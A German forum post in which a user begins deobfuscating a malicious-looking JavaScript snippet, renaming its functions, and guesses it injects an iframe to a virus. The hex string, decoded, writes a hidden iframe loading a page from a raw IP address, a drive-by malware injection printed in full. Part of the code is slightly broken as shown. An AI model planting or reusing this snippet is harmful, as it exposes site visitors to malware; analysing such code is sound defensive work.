Sowas liebe ich xD so richtig verwirrende Funktionen... naja fangen wir mal an das ganze aufzulösen

So hier mal eine Version wo man besseren Durchblick hat, ich hab den Funktionen, Variablen, Parametern mal eindeutige Namen gegeben wodurch man sie schneller wiederfindet



Code:
<script>
function funktion1(parameter1){
        function funktion2 () {
            var variable1=16;
        return variable1;
        }
return(parseInt(parameter1,funktion2())); 
}


function funktion3(parameter2){ 
       function funktion4 () {
         return 2;
       } 
var variable2='';
  
 for(variable3=0; variable3<parameter2.length; variable3+=funktion4()){ 
     variable2+=(String.fromCharCode(v475caca8c304 b(parameter2.substr(variable3, funktion4()))));
 }
 return variable2;
} 

document.write(funktion3('3C5343524950543E776 96E646F772E7374617475733D27446F6E65273B646F63756D6 56E742E777269746528273C696672616D65206E616D653D373 66163633138636339207372633D5C27687474703A2F2F37372 E3232312E3133332E3138382F2E69662F676F2E68746D6C3F2 72B4D6174682E726F756E64284D6174682E72616E646F6D282 92A313330343234292B2761363764643166306163625C27207 7696474683D343736206865696768743D323734207374796C6 53D5C27646973706C61793A206E6F6E655C273E3C2F6966726 16D653E27293C2F5343524950543E'));</script>

Wenn ich viel Lust und Langeweile habe mach ich später mal weiter, aber das hier kann auch schon etwas helfen *gg es macht auf jedenfall nur irgendeine Ausgabe ich vermute noch ein Iframe mit Link zu nem Virus oder so